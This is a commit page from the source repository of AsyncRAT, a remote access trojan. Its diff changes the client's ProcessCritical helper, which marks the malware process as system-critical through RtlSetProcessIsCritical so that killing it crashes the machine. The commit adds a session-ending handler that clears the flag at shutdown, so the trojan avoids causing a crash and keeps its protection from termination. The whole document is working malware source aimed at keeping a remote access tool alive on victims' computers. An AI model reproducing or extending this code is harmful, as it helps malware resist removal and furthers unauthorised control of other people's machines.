Fixed BSOD when pc shutdown\restart

qiyeboy · Jun 19, 2019 · fb9a824 · fb9a824
1 parent 98274c6
commit fb9a824
Showing 1 changed file with 12 additions and 5 deletions.
diff --git a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs
@@ -1,16 +1,23 @@
-using System;
+using Microsoft.Win32;
+using System;
 using System.Diagnostics;
 using System.Runtime.InteropServices;
 using System.Threading;
 
 namespace Client.Helper
 {
     public static class ProcessCritical
-    {      
+    {
+
+        public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
+        {
+            Exit();
+        }
         public static void Set()
         {
             try
             {
+                SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
                 Process.EnterDebugMode();
                 RtlSetProcessIsCritical(1, 0, 0);
             }
@@ -22,9 +29,9 @@ public static void Exit()
             {
                 RtlSetProcessIsCritical(0, 0, 0);
             }
-            catch 
-            { 
-            while(true)
+            catch
+            {
+                while (true)
                 {
                     Thread.Sleep(100000); //prevents a BSOD on exit failure
                 }